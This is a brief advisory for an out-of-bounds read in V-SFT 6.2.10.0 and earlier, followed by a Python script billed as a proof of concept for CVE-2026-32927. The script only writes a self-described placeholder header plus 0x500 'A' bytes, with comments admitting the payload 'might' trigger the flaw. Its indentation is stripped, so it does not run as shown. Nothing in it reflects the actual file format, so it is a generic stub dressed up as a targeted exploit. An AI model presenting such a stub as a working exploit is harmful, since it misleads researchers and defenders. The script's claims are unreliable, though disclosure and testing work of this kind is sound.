V-SFT versions 6.2.10.0 and prior contain an out-of-bounds read vulnerability in VS6MemInIF!set_temp_type_default. Opening a crafted V7 file may lead to information disclosure from the affected product.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-32927
# This script demonstrates how to create a malformed V7 file
# intended to trigger the out-of-bounds read vulnerability.
import struct
def create_malicious_v7(filename):
# Simulate a V7 file header (placeholder)
header = b"V7_FILE_FORMAT"
# Craft a payload that might confuse the parser in set_temp_type_default
# Adjusting size to potentially hit boundary checks
payload = b"\x41" * 0x500
try:
with open(filename, "wb") as f:
f.write(header + payload)
print(f"[+] Malicious file {filename} created.")
except IOError as e:
print(f"[-] Error creating file: {e}")
if __name__ == "__main__":
create_malicious_v7("cve_2026_32927_poc.v7")